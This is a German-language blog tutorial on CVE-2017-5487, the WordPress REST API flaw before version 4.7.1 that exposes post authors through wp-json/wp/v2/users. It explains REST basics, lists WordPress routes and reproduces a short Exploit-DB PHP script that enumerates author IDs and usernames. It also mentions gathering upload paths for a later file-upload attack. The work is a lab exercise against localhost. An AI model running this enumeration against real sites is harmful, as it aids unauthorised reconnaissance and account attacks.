
cve-2017-5487 wp rest api Schwachstelle
: In WordPress-Versionen vor 4.7.1 beschränkt die REST-API-Implementierung in wp-includes/rest-api/endpoints/class-wp-rest-users-controller.php nicht die Liste der Autoren, sodass ein entfernter Angreifer durch eine Anfrage an wp-json/wp/v2/users wichtige Informationen erhalten kann.
(Referenz: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5487)
Falls ihr nicht versteht, was das bedeutet, schauen wir uns zunächst das Hintergrundwissen an und lernen es dann durch eine Übung.
Wenn ihr denkt, dass kein Hintergrundwissen nötig ist, könnt ihr direkt zu [3] springen.
: Einfach ausgedrückt kann man eine API, die definiert, „was und wie es getan wird", als REST-API bezeichnen.
: Etwas detaillierter: Eine REST-API definiert, wie eine über eine HTTP-URI definierte Ressource mit HTTP-Methoden und Payload bearbeitet wird.
: REST = REpresentational State Transfer
2.1 Über HTTP-URI definierte Ressourcen
: Eine Ressource bezeichnet das zu verarbeitende Objekt.
z.B.) JSON, XML-Dokumente, Bilddateien wie jpg, Videodateien wie mp4 usw.
: URI steht für Uniform Resource Identifier, ein einheitlicher Ressourcenbezeichner. Die übliche URL ist auch ein Teil der URI und bezeichnet die Identifikation einer Ressource.
z.B.) Wenn über http://rootable.tistory.com/user/test Informationen über einen Benutzer namens test abgerufen werden können, ist dies ebenfalls eine URI.
2.2 HTTP-Methode
: Die Methode funktioniert unabhängig vom Format der Ressource gleich.
: In der REST-API verwendete Methoden sind POST, GET, PUT, PATCH, DELETE usw. Zu beachten ist, dass sie sich von den Funktionen unterscheiden, die wir normalerweise denken. Z.B. denken wir bei POST an eine Methode zum Anfordern von Daten oder Dokumenten an den Server, während es in der REST-API eine Create-Funktion ist.
| HTTP-Methode | CRUD-Operation |
|---|---|
| POST | create |
| GET | read |
| PUT | update / replace |
| PATCH | update / modify |
| DELETE | delete |
z.B.) REST-API, um einen Benutzer doni zu den users von http://rootable.tistory.com hinzuzufügen:
POST http://rootable.tistory.com/users/doni
z.B.) Wenn bei der Benutzererstellung verschiedene Eigenschaften wie Beruf, Alter, Geschlecht usw. benötigt werden, wird im Body-Teil eine Ausdruckssprache wie XML oder JSON angegeben.
POST http://rootable.tistory.com/users Content-Type: application/json
{ "username" : "doni", "age" : "27" }
: Es wurde gesagt, dass eine REST-API eine vordefinierte API ist, die definiert, was mit einer Ressource getan wird. Welche REST-APIs sind dann in WordPress definiert?
Siehe die folgende Tabelle.
Es sind verschiedene REST-APIs definiert. Hier ist das /wp/v2/users aus der CVE, die wir uns ansehen, enthalten.
4.1. Informationen über Autoren von Beiträgen erhalten
Nachfolgend ist ein Code aus EXPLOIT DB. ( https://www.exploit-db.com/exploits/41497/ )
Wie man am Code sieht, bereinigt er lediglich die Ergebnisse und gibt sie übersichtlich aus. Man kann die Informationen auch durch direkten Zugriff erhalten, ohne diesen Exploit-Code zu verwenden. Daher ist es nicht nötig, bis zur FU-Schwachstelle zu gehen, um die Darstellung zu verbessern.
#!usr/bin/php
<?php
#Author: Mateus a.k.a Dctor
#fb: fb.com/hatbashbr/
#E-mail: [email protected]
#Site: https://mateuslino.tk
header ('Content-type: text/html; charset=UTF-8');
$url= "http://localhost/";
$payload="wp-json/wp/v2/users/";
$urli = file_get_contents($url.$payload);
$json = json_decode($urli, true);
if($json){
echo "*-----------------------------*\n";
foreach($json as $users){
echo "[*] ID : |" .$users['id'] ."|\n";
echo "[*] Name: |" .$users['name'] ."|\n";
echo "[*] User :|" .$users['slug'] ."|\n";
echo "\n";
}echo "*-----------------------------*";}
else{echo "[*] No user";}
?>
Wenn man dies als PHP-Datei im WordPress-Installationsverzeichnis speichert und ausführt, erscheint das folgende Ergebnis.
(Wenn man direkt darauf zugreift, sieht es wie folgt aus. (Zum Vergrößern anklicken))
Dadurch kann man Informationen wie ID und Name des Autors eines Beitrags erhalten.
Hinweis) Ich dachte, dass alle registrierten Benutzer angezeigt würden, aber nach dem Test wurden nur die Konten der Beitragsautoren angezeigt. In der CVE-Beschreibung taucht das Wort „author" auf, was wohl genau „Autor" bedeutet.
4.2. Datei-Upload-Pfad erhalten
Unter den REST-APIs von WordPress gibt es /wp/v2/posts. Wenn man darauf zugreift, werden Informationen über veröffentlichte Beiträge angezeigt, darunter auch der Datei-Upload-Pfad, wie markiert. Wenn eine FU-Schwachstelle gefunden wird, könnte dies sehr hilfreich sein.
In Version 4.7 scheint es nicht möglich zu sein, Einstellungen anzuzeigen oder Beiträge zu bearbeiten.
Beim Versuch, die Einstellungen anzuzeigen, wird rest_forbidden angezeigt und der Zugriff verweigert.
Beim Versuch, den ersten Beitrag zu bearbeiten, erscheint die Meldung, dass der Beitrag nicht gelesen werden kann.
Das Betrachten von Benutzern scheint weniger relevant zu sein, aber es ist etwas schade… Bei der Suche scheint es keine entsprechende Schwachstelle zu geben. Allerdings scheint es für Versionen vor 4.7.1 eine Schwachstelle zu geben, mit der man Beiträge anderer Benutzer bearbeiten kann. Dies wird in einem späteren Beitrag behandelt.
Referenzen:
REST-API-Erklärung: http://blog.naver.com/PostView.nhn?blogId=complusblog&logNo=220986337770
Unicode-Konverter: http://koreanstudies.com/unicode-converter.html
Downgrade (ich empfehle, keine Neuinstallation durchzuführen, da ich beim Versuch Probleme hatte und dann neu installieren musste)
| Resource | Base Route |
|---|
| Posts | /wp/v2/posts |
| Post Revisions | /wp/v2/revisions |
| Categories | /wp/v2/categories |
| Tags | /wp/v2/tags |
| Pages | /wp/v2/pages |
| Comments | /wp/v2/comments |
| Taxonomies | /wp/v2/taxonomies |
| Media | /wp/v2/media |
| Users | /wp/v2/users |
| Post Types | /wp/v2/types |
| Post Statuses | /wp/v2/statuses |
| Settings | /wp/v2/settings |